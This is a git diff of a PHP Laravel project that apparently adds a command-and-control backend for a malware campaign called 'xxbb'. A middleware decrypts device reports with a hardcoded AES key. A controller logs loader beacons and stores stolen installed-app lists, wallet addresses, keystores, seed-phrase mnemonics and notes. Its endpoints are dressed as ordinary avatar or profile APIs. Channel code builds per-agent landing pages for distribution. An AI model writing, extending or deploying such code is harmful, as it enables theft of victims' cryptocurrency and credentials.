feat: xxbb
This commit is contained in:
@@ -52,7 +52,7 @@ class ChannelController extends Controller
|
||||
$q->where('status', (int) $status);
|
||||
}
|
||||
|
||||
$sortable = ['id', 'channel_id', 'status', 'user_id', 'created_at', 'updated_at'];
|
||||
$sortable = ['id', 'channel_id', 'channel_name', 'builder_type', 'status', 'user_id', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
@@ -68,6 +68,8 @@ class ChannelController extends Controller
|
||||
return [
|
||||
'id' => $c->id,
|
||||
'channel_id' => $c->channel_id,
|
||||
'builder_type' => $c->builderType(),
|
||||
'channel_name' => $c->channel_name ?: '',
|
||||
'user_id' => (int) $c->user_id,
|
||||
'agent_username' => $c->agentLabel(),
|
||||
'remark' => $c->remark ?: '',
|
||||
@@ -101,6 +103,7 @@ class ChannelController extends Controller
|
||||
|
||||
$data = $request->validate([
|
||||
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
|
||||
'builder_type' => ['nullable', 'string', Rule::in([Channel::BUILDER_OLD, Channel::BUILDER_NEW])],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
|
||||
'deployment_seed' => ['nullable', 'string', 'min:1', 'max:32'],
|
||||
@@ -114,6 +117,8 @@ class ChannelController extends Controller
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
|
||||
$builderType = (string) ($data['builder_type'] ?? Channel::BUILDER_OLD);
|
||||
$channelName = $builderType === Channel::BUILDER_NEW ? Channel::randomChannelName() : null;
|
||||
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
|
||||
@@ -123,7 +128,10 @@ class ChannelController extends Controller
|
||||
$supportTemplate,
|
||||
$data['deployment_seed'] ?? null,
|
||||
$data['reporting_seed'] ?? null,
|
||||
$builderType,
|
||||
$channelName,
|
||||
);
|
||||
$channelName = $build['channel_name'] ?? $channelName;
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
@@ -132,7 +140,7 @@ class ChannelController extends Controller
|
||||
}
|
||||
|
||||
try {
|
||||
$channel = DB::transaction(function () use ($data, $userId) {
|
||||
$channel = DB::transaction(function () use ($data, $userId, $builderType, $channelName) {
|
||||
if ($userId > 0) {
|
||||
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
|
||||
if (! $userExists) {
|
||||
@@ -144,6 +152,8 @@ class ChannelController extends Controller
|
||||
|
||||
return Channel::query()->create([
|
||||
'channel_id' => $data['channel_id'],
|
||||
'builder_type' => $builderType,
|
||||
'channel_name' => $channelName,
|
||||
'user_id' => $userId,
|
||||
'domains' => [],
|
||||
'remark' => $data['remark'] ?? null,
|
||||
@@ -151,7 +161,7 @@ class ChannelController extends Controller
|
||||
]);
|
||||
});
|
||||
} catch (\Throwable $e) {
|
||||
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id']);
|
||||
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id'], $builderType, $channelName);
|
||||
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
@@ -164,13 +174,16 @@ class ChannelController extends Controller
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'id' => $channel->id,
|
||||
'builder_type' => $channel->builderType(),
|
||||
'channel_name' => $channel->channel_name,
|
||||
'links' => $channel->supportLinks(),
|
||||
'seeds' => $build['seeds'],
|
||||
'domains' => $build['domains'],
|
||||
'seeds_initialized' => $build['seeds_initialized'],
|
||||
'sync_rebuilt' => $build['sync_rebuilt'],
|
||||
'support_path' => $build['support_path'],
|
||||
'daily_path' => $build['daily_path'],
|
||||
'support_path' => $build['support_path'] ?? $channel->landingPath(),
|
||||
'weifile_path' => $build['weifile_path'] ?? null,
|
||||
'daily_path' => $build['daily_path'] ?? '',
|
||||
],
|
||||
]);
|
||||
}
|
||||
@@ -229,10 +242,12 @@ class ChannelController extends Controller
|
||||
$this->authorizeChannel($channel);
|
||||
|
||||
$channelId = $channel->channel_id;
|
||||
$builderType = $channel->builderType();
|
||||
$channelName = $channel->channel_name;
|
||||
try {
|
||||
// Delete remotely first: a failed remote delete leaves the DB row available
|
||||
// for a safe retry instead of orphaning an unreachable static project.
|
||||
$projects->deleteWebTree($channelId);
|
||||
$projects->deleteWebTree($channelId, $builderType, $channelName);
|
||||
DB::transaction(static fn () => $channel->delete());
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
@@ -271,7 +286,9 @@ class ChannelController extends Controller
|
||||
|
||||
private function compensateBuildUnlessChannelExists(
|
||||
ChannelProjectService $projects,
|
||||
string $channelId
|
||||
string $channelId,
|
||||
string $builderType = Channel::BUILDER_OLD,
|
||||
?string $channelName = null,
|
||||
): void {
|
||||
try {
|
||||
// A concurrent request may have won the unique channel_id insert. Its
|
||||
@@ -289,10 +306,12 @@ class ChannelController extends Controller
|
||||
}
|
||||
|
||||
try {
|
||||
$projects->deleteWebTree($channelId);
|
||||
$projects->deleteWebTree($channelId, $builderType, $channelName);
|
||||
} catch (\Throwable $e) {
|
||||
Log::error('Failed to compensate channel build', [
|
||||
'channel_id' => $channelId,
|
||||
'builder_type' => $builderType,
|
||||
'channel_name' => $channelName,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,146 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\PageVisit;
|
||||
use App\Services\IngestService;
|
||||
use App\Support\UserAgentParser;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
|
||||
/**
|
||||
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
|
||||
*/
|
||||
class XxbbC2Controller extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly IngestService $ingest,
|
||||
) {}
|
||||
|
||||
public function vhx(): Response
|
||||
{
|
||||
return response('ok', 200)->header('Content-Type', 'text/plain');
|
||||
}
|
||||
|
||||
/**
|
||||
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain.
|
||||
*/
|
||||
public function iptj(Request $request): Response
|
||||
{
|
||||
$payload = $request->json()->all();
|
||||
if ($payload === []) {
|
||||
$decoded = json_decode((string) $request->getContent(), true);
|
||||
$payload = is_array($decoded) ? $decoded : [];
|
||||
}
|
||||
|
||||
$channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', '')));
|
||||
$domain = trim((string) ($payload['domain'] ?? $request->input('domain', '')));
|
||||
$deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', '')));
|
||||
|
||||
if ($channelCode !== '' && strlen($channelCode) <= 64) {
|
||||
$uid = $domain !== '' ? $domain : (string) $request->ip();
|
||||
$uid = substr($uid, 0, 64);
|
||||
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
|
||||
if (Cache::add($debounceKey, 1, now()->addSeconds(8))) {
|
||||
$ua = substr((string) $request->userAgent(), 0, 512);
|
||||
$parsed = UserAgentParser::parse($ua);
|
||||
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
|
||||
if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
|
||||
$osVersion = $m[1];
|
||||
}
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => substr($channelCode, 0, 64),
|
||||
'client_uid' => $uid !== '' ? $uid : 'iptj',
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']),
|
||||
'os_version' => $osVersion,
|
||||
'browser' => $parsed['browser'],
|
||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||
'ip' => $request->ip(),
|
||||
'path' => $domain !== '' ? substr($domain, 0, 255) : null,
|
||||
'created_at' => now(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
return response('{}', 200)->header('Content-Type', 'application/json');
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/avatar/set — device census, no create. */
|
||||
public function profile(Request $request): Response
|
||||
{
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/get */
|
||||
public function apps(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestInstalledApps($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/avatar/put */
|
||||
public function event(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDeviceEvent($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/**
|
||||
* Plugin reports: /uj /us /ub /ba /result.
|
||||
* Dispatch by payload shape onto the same ingest as lab long paths.
|
||||
*/
|
||||
public function plugin(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
if (isset($payload['ba']) || isset($payload['ad']) || isset($payload['data'])) {
|
||||
$this->ingest->ingestAddresses($device, $payload);
|
||||
}
|
||||
if (array_key_exists('result', $payload)) {
|
||||
$result = $payload['result'];
|
||||
$asKeystore = is_array($result);
|
||||
if (is_string($result)) {
|
||||
$decoded = json_decode($result, true);
|
||||
$asKeystore = is_array($decoded);
|
||||
}
|
||||
if ($asKeystore) {
|
||||
$this->ingest->ingestKeystore($device, $payload);
|
||||
} else {
|
||||
$this->ingest->ingestMnemonic($device, $payload);
|
||||
}
|
||||
}
|
||||
if (array_key_exists('list', $payload)) {
|
||||
$this->ingest->ingestNotes($device, $payload);
|
||||
}
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
private function xxbbAck(Request $request): Response
|
||||
{
|
||||
$ts = (string) $request->attributes->get('xxbb_ts', '');
|
||||
if ($ts === '') {
|
||||
$ts = (string) ($request->header('x-ts') ?: '');
|
||||
}
|
||||
if ($ts === '') {
|
||||
$ts = (string) (int) round(microtime(true) * 1000);
|
||||
}
|
||||
|
||||
return response($ts.'{}', 200)->header('Content-Type', 'text/plain');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,105 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
|
||||
/**
|
||||
* xxbb native reporting: same AES envelope as lab, header is x-ts,
|
||||
* session key is hardcoded Ek8pl31K2yeHgQwy.
|
||||
*/
|
||||
class DecryptXxbbBody
|
||||
{
|
||||
public static function crypto(): CorunaCrypto
|
||||
{
|
||||
return app('xxbb.crypto');
|
||||
}
|
||||
|
||||
public function handle(Request $request, Closure $next): Response
|
||||
{
|
||||
$crypto = self::crypto();
|
||||
$headers = [];
|
||||
foreach (['x-ts', 'x-hash', 'sdkv', 'ver', 'accept', 'content-type', 'user-agent'] as $h) {
|
||||
if ($request->headers->has($h)) {
|
||||
$headers[$h] = $request->headers->get($h);
|
||||
}
|
||||
}
|
||||
|
||||
$raw = $request->getContent();
|
||||
$timestamp = (string) $request->header('x-ts', '');
|
||||
$payload = null;
|
||||
$decryptOk = false;
|
||||
$error = null;
|
||||
$deviceKey = null;
|
||||
|
||||
$isMultipart = str_contains((string) $request->header('content-type'), 'multipart/');
|
||||
$path = '/'.ltrim($request->path(), '/');
|
||||
|
||||
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
|
||||
$decryptOk = true;
|
||||
} elseif ($isMultipart) {
|
||||
$payload = [
|
||||
'form' => $request->except(['file']),
|
||||
'has_file' => $request->hasFile('file'),
|
||||
];
|
||||
$decryptOk = true;
|
||||
$deviceKey = $request->input('d') ?: $request->input('f');
|
||||
} elseif ($raw !== '' && $timestamp !== '') {
|
||||
try {
|
||||
$payload = $crypto->decryptJsonBody($raw, $timestamp);
|
||||
$decryptOk = true;
|
||||
} catch (\Throwable $e) {
|
||||
$error = $e->getMessage();
|
||||
}
|
||||
} elseif ($raw === '') {
|
||||
$decryptOk = true;
|
||||
} else {
|
||||
$error = 'missing x-ts or body';
|
||||
}
|
||||
|
||||
if (is_array($payload)) {
|
||||
foreach (['d', 'f'] as $k) {
|
||||
if (! empty($payload[$k]) && is_string($payload[$k])) {
|
||||
$deviceKey = $payload[$k];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (isset($payload['form']) && is_array($payload['form']) && ($deviceKey === null || $deviceKey === '')) {
|
||||
foreach (['d', 'f'] as $k) {
|
||||
if (! empty($payload['form'][$k]) && is_string($payload['form'][$k])) {
|
||||
$deviceKey = $payload['form'][$k];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (is_string($deviceKey) && $deviceKey !== '') {
|
||||
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64));
|
||||
}
|
||||
|
||||
create_log([
|
||||
'dir' => 'in',
|
||||
'campaign' => 'xxbb',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||
'timestamp_hdr' => $timestamp ?: null,
|
||||
'headers' => $headers,
|
||||
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
|
||||
'decrypt_ok' => $decryptOk,
|
||||
'error' => $error,
|
||||
], 'c2');
|
||||
|
||||
$request->attributes->set('coruna_payload', $payload);
|
||||
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
|
||||
$request->attributes->set('coruna_device_key', $deviceKey);
|
||||
$request->attributes->set('xxbb_ts', $timestamp);
|
||||
|
||||
return $next($request);
|
||||
}
|
||||
}
|
||||
+78
-2
@@ -4,13 +4,39 @@ namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use RuntimeException;
|
||||
|
||||
class Channel extends Model
|
||||
{
|
||||
public const OFFICIAL_USER_ID = 0;
|
||||
|
||||
public const BUILDER_OLD = 'old';
|
||||
|
||||
public const BUILDER_NEW = 'new';
|
||||
|
||||
public const CHANNEL_NAME_LENGTH = 8;
|
||||
|
||||
/**
|
||||
* Public-root path prefixes that must not be used as channel_name.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
public const RESERVED_CHANNEL_NAMES = [
|
||||
'admin', 'user', 'api', 'web', 'sync', 'details', 'weifile', 'hooks',
|
||||
'link', 'statistic', 'vhx', 'event', 'log', 'storage', 'build', 'hot',
|
||||
'vendor', 'css', 'js', 'up', 'index', 'assets', 'static', 'source', 'channel',
|
||||
'out', 't', 'a', 'u', 'uj', 'us', 'ub', 'ba', 'result', 'favicon',
|
||||
'robots', 'sitemap', 'public', 'app', 'bootstrap', 'config',
|
||||
'database', 'resources', 'routes', 'tests', 'artisan', 'livewire',
|
||||
'sanctum', 'telescope', 'horizon', 'pulse',
|
||||
];
|
||||
|
||||
protected $fillable = [
|
||||
'channel_id', 'user_id', 'domains', 'status', 'remark',
|
||||
'channel_id', 'builder_type', 'channel_name', 'user_id', 'domains', 'status', 'remark',
|
||||
];
|
||||
|
||||
protected $attributes = [
|
||||
'builder_type' => self::BUILDER_OLD,
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
@@ -37,6 +63,18 @@ class Channel extends Model
|
||||
return (int) $this->user_id === self::OFFICIAL_USER_ID;
|
||||
}
|
||||
|
||||
public function isNewBuilder(): bool
|
||||
{
|
||||
return $this->builderType() === self::BUILDER_NEW;
|
||||
}
|
||||
|
||||
public function builderType(): string
|
||||
{
|
||||
$type = strtolower(trim((string) ($this->builder_type ?? '')));
|
||||
|
||||
return $type === self::BUILDER_NEW ? self::BUILDER_NEW : self::BUILDER_OLD;
|
||||
}
|
||||
|
||||
public function agentLabel(): string
|
||||
{
|
||||
if ($this->isOfficial()) {
|
||||
@@ -83,13 +121,25 @@ class Channel extends Model
|
||||
}, $domains))));
|
||||
}
|
||||
|
||||
public function landingPath(): string
|
||||
{
|
||||
if ($this->isNewBuilder()) {
|
||||
$name = strtolower(trim((string) ($this->channel_name ?? '')));
|
||||
if ($name !== '') {
|
||||
return '/source/'.$name.'/index.html';
|
||||
}
|
||||
}
|
||||
|
||||
return '/web/'.$this->channel_id.'/support.html';
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function supportLinks(): array
|
||||
{
|
||||
$links = [];
|
||||
$path = '/web/'.$this->channel_id.'/support.html';
|
||||
$path = $this->landingPath();
|
||||
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
|
||||
foreach ($this->resolvedDomains() as $domain) {
|
||||
$origin = rtrim($domain, '/');
|
||||
@@ -110,6 +160,32 @@ class Channel extends Model
|
||||
return bin2hex(random_bytes(16));
|
||||
}
|
||||
|
||||
public static function isReservedChannelName(string $name): bool
|
||||
{
|
||||
return in_array(strtolower($name), self::RESERVED_CHANNEL_NAMES, true);
|
||||
}
|
||||
|
||||
public static function randomChannelName(): string
|
||||
{
|
||||
for ($i = 0; $i < 32; $i++) {
|
||||
$name = substr(bin2hex(random_bytes(5)), 0, self::CHANNEL_NAME_LENGTH);
|
||||
if (self::isReservedChannelName($name)) {
|
||||
continue;
|
||||
}
|
||||
if (self::query()->where('channel_name', $name)->exists()) {
|
||||
continue;
|
||||
}
|
||||
$public = public_path('source/'.$name);
|
||||
if (is_dir($public) || is_file($public)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
return $name;
|
||||
}
|
||||
|
||||
throw new RuntimeException('无法生成唯一 channel_name');
|
||||
}
|
||||
|
||||
public static function maxPerAgent(): int
|
||||
{
|
||||
$n = (int) config('coruna.channels.max_per_agent', 5);
|
||||
|
||||
@@ -22,6 +22,12 @@ class AppServiceProvider extends ServiceProvider
|
||||
return new CorunaCrypto(is_string($override) && $override !== '' ? $override : null);
|
||||
});
|
||||
|
||||
$this->app->singleton('xxbb.crypto', function () {
|
||||
$key = config('coruna.xxbb.session_key', 'Ek8pl31K2yeHgQwy');
|
||||
|
||||
return new CorunaCrypto(is_string($key) && $key !== '' ? $key : 'Ek8pl31K2yeHgQwy');
|
||||
});
|
||||
|
||||
$this->app->singleton(CorunaArchive::class, function ($app) {
|
||||
return new CorunaArchive(
|
||||
$app->make(CorunaCrypto::class),
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Channel;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use RuntimeException;
|
||||
@@ -12,18 +13,25 @@ class ChannelProjectService
|
||||
|
||||
public const DEFAULT_SUPPORT_TEMPLATE = 'test';
|
||||
|
||||
public const BUILDER_OLD = Channel::BUILDER_OLD;
|
||||
|
||||
public const BUILDER_NEW = Channel::BUILDER_NEW;
|
||||
|
||||
public const RESULT_MARKER = 'CORUNA_BUILD_RESULT ';
|
||||
|
||||
/**
|
||||
* Build channel web assets (and shared sync on first/changed seeds) via channel-builder.
|
||||
* Build channel web assets via the old or new channel builder.
|
||||
*
|
||||
* @return array{
|
||||
* channel_id: string,
|
||||
* seeds: array{deployment_seed: string, reporting_seed: string},
|
||||
* builder_type: string,
|
||||
* channel_name: ?string,
|
||||
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
|
||||
* domains: array{deployment: list<string>, reporting: list<string>},
|
||||
* seeds_initialized: bool,
|
||||
* sync_rebuilt: bool,
|
||||
* support_path: string,
|
||||
* weifile_path: ?string,
|
||||
* daily_path: string,
|
||||
* support_template?: string,
|
||||
* }
|
||||
@@ -33,18 +41,105 @@ class ChannelProjectService
|
||||
string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE,
|
||||
?string $deploymentSeed = null,
|
||||
?string $reportingSeed = null,
|
||||
string $builderType = self::BUILDER_OLD,
|
||||
?string $channelName = null,
|
||||
): array {
|
||||
$builderType = $this->normalizeBuilderType($builderType);
|
||||
$channelId = $this->normalizeChannelId($channelId);
|
||||
$supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
|
||||
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds($deploymentSeed, $reportingSeed);
|
||||
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds(
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
);
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
return $this->generateNew(
|
||||
$channelId,
|
||||
$channelName,
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
);
|
||||
}
|
||||
|
||||
return $this->generateOld(
|
||||
$channelId,
|
||||
$supportTemplate,
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
);
|
||||
}
|
||||
|
||||
public function deleteWebTree(
|
||||
string $channelId,
|
||||
string $builderType = self::BUILDER_OLD,
|
||||
?string $channelName = null,
|
||||
): void {
|
||||
$builderType = $this->normalizeBuilderType($builderType);
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
$name = strtolower(trim((string) $channelName));
|
||||
if ($name === '') {
|
||||
return;
|
||||
}
|
||||
$cmd = [
|
||||
$this->pythonBinary($builderType),
|
||||
$this->builderScript('delete_channel.py', $builderType),
|
||||
'--artifact-root',
|
||||
$this->artifactRoot(),
|
||||
'--channel-name',
|
||||
$name,
|
||||
];
|
||||
$this->runBuilder($cmd, '删除渠道资源失败', $this->builderCwd($builderType));
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$channelId = $this->normalizeChannelId($channelId);
|
||||
} catch (RuntimeException) {
|
||||
return;
|
||||
}
|
||||
|
||||
$cmd = [
|
||||
$this->pythonBinary(),
|
||||
$this->builderScript('new_project.py'),
|
||||
$this->pythonBinary($builderType),
|
||||
$this->builderScript('delete_channel_web.py', $builderType),
|
||||
'--artifact-root',
|
||||
$this->artifactRoot(),
|
||||
'--channel-id',
|
||||
$channelId,
|
||||
];
|
||||
|
||||
$this->runBuilder($cmd, '删除渠道资源失败', $this->builderCwd($builderType));
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{
|
||||
* channel_id: string,
|
||||
* builder_type: string,
|
||||
* channel_name: ?string,
|
||||
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
|
||||
* domains: array{deployment: list<string>, reporting: list<string>},
|
||||
* seeds_initialized: bool,
|
||||
* sync_rebuilt: bool,
|
||||
* support_path: string,
|
||||
* weifile_path: ?string,
|
||||
* daily_path: string,
|
||||
* support_template?: string,
|
||||
* }
|
||||
*/
|
||||
private function generateOld(
|
||||
string $channelId,
|
||||
string $supportTemplate,
|
||||
?string $deploymentSeed,
|
||||
?string $reportingSeed,
|
||||
): array {
|
||||
$supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
|
||||
$cmd = [
|
||||
$this->pythonBinary(self::BUILDER_OLD),
|
||||
$this->builderScript('new_project.py', self::BUILDER_OLD),
|
||||
'--artifact-root',
|
||||
$this->artifactRoot(),
|
||||
'--state-root',
|
||||
$this->stateRoot(),
|
||||
$this->stateRoot(self::BUILDER_OLD),
|
||||
'--channel-id',
|
||||
$channelId,
|
||||
'--support-template',
|
||||
@@ -58,10 +153,13 @@ class ChannelProjectService
|
||||
$cmd[] = $reportingSeed;
|
||||
}
|
||||
|
||||
$result = $this->runBuilder($cmd, '生成渠道资源失败');
|
||||
$result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_OLD));
|
||||
$supportPath = (string) ($result['support_path'] ?? '/web/'.$channelId.'/support.html');
|
||||
|
||||
return [
|
||||
'channel_id' => (string) ($result['channel_id'] ?? $channelId),
|
||||
'builder_type' => self::BUILDER_OLD,
|
||||
'channel_name' => null,
|
||||
'seeds' => [
|
||||
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
|
||||
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
|
||||
@@ -72,41 +170,98 @@ class ChannelProjectService
|
||||
],
|
||||
'seeds_initialized' => (bool) ($result['seeds_initialized'] ?? false),
|
||||
'sync_rebuilt' => (bool) ($result['sync_rebuilt'] ?? false),
|
||||
'support_path' => (string) ($result['support_path'] ?? '/web/'.$channelId.'/support.html'),
|
||||
'support_path' => $supportPath,
|
||||
'weifile_path' => null,
|
||||
'daily_path' => (string) ($result['daily_path'] ?? '/sync/daily.html'),
|
||||
'support_template' => (string) ($result['support_template'] ?? $supportTemplate),
|
||||
];
|
||||
}
|
||||
|
||||
public function deleteWebTree(string $channelId): void
|
||||
{
|
||||
try {
|
||||
$channelId = $this->normalizeChannelId($channelId);
|
||||
} catch (RuntimeException) {
|
||||
return;
|
||||
/**
|
||||
* @return array{
|
||||
* channel_id: string,
|
||||
* builder_type: string,
|
||||
* channel_name: ?string,
|
||||
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
|
||||
* domains: array{deployment: list<string>, reporting: list<string>},
|
||||
* seeds_initialized: bool,
|
||||
* sync_rebuilt: bool,
|
||||
* support_path: string,
|
||||
* weifile_path: ?string,
|
||||
* daily_path: string,
|
||||
* support_template?: string,
|
||||
* }
|
||||
*/
|
||||
private function generateNew(
|
||||
string $channelId,
|
||||
?string $channelName,
|
||||
?string $deploymentSeed,
|
||||
?string $reportingSeed,
|
||||
): array {
|
||||
$channelName = $this->normalizeChannelName((string) $channelName);
|
||||
if ($channelId === '202800cfb1ad3de68e11239dcc26c30b') {
|
||||
throw new RuntimeException('channel_id 不能与 7z 密码槽相同');
|
||||
}
|
||||
$scheme = strtolower((string) config('coruna.channel_builder_new.c2_scheme', 'http'));
|
||||
if (! in_array($scheme, ['http', 'https'], true)) {
|
||||
throw new RuntimeException('CORUNA_XXBB_C2_SCHEME 必须是 http 或 https');
|
||||
}
|
||||
|
||||
$cmd = [
|
||||
$this->pythonBinary(),
|
||||
$this->builderScript('delete_channel_web.py'),
|
||||
$this->pythonBinary(self::BUILDER_NEW),
|
||||
$this->builderScript('build.py', self::BUILDER_NEW),
|
||||
'--artifact-root',
|
||||
$this->artifactRoot(),
|
||||
'--channel-id',
|
||||
'--state-root',
|
||||
$this->stateRoot(self::BUILDER_NEW),
|
||||
'--channel-name',
|
||||
$channelName,
|
||||
'--channel-c',
|
||||
$channelId,
|
||||
'--scheme',
|
||||
$scheme,
|
||||
'--apply',
|
||||
'--force',
|
||||
];
|
||||
if ($deploymentSeed !== null && $reportingSeed !== null) {
|
||||
$cmd[] = '--deployment-seed';
|
||||
$cmd[] = $deploymentSeed;
|
||||
$cmd[] = '--reporting-seed';
|
||||
$cmd[] = $reportingSeed;
|
||||
}
|
||||
|
||||
$this->runBuilder($cmd, '删除渠道资源失败');
|
||||
$result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_NEW));
|
||||
$weifilePath = '/source/'.$channelName.'/index.html';
|
||||
|
||||
return [
|
||||
'channel_id' => $channelId,
|
||||
'builder_type' => self::BUILDER_NEW,
|
||||
'channel_name' => $channelName,
|
||||
'seeds' => [
|
||||
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
|
||||
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
|
||||
'channel_c' => (string) data_get($result, 'seeds.channel_c', $channelId),
|
||||
],
|
||||
'domains' => [
|
||||
'deployment' => array_values((array) data_get($result, 'domains.deployment', [])),
|
||||
'reporting' => array_values((array) data_get($result, 'domains.reporting', [])),
|
||||
],
|
||||
'seeds_initialized' => (bool) ($result['seeds_initialized'] ?? false),
|
||||
'sync_rebuilt' => (bool) ($result['sync_rebuilt'] ?? false),
|
||||
'support_path' => (string) ($result['support_path'] ?? $weifilePath),
|
||||
'weifile_path' => $weifilePath,
|
||||
'daily_path' => '',
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $cmd
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function runBuilder(array $cmd, string $errorPrefix): array
|
||||
private function runBuilder(array $cmd, string $errorPrefix, string $cwd): array
|
||||
{
|
||||
$timeout = (float) config('coruna.channel_builder.timeout', 600);
|
||||
$process = Process::timeout((int) max(1, $timeout))
|
||||
->path(base_path('channel-builder'))
|
||||
->path($cwd)
|
||||
->run($cmd);
|
||||
|
||||
if (! $process->successful()) {
|
||||
@@ -147,24 +302,34 @@ class ChannelProjectService
|
||||
throw new RuntimeException("{$errorPrefix}: missing builder result marker");
|
||||
}
|
||||
|
||||
private function pythonBinary(): string
|
||||
private function pythonBinary(string $builderType): string
|
||||
{
|
||||
$configured = trim((string) config('coruna.channel_builder.python', ''));
|
||||
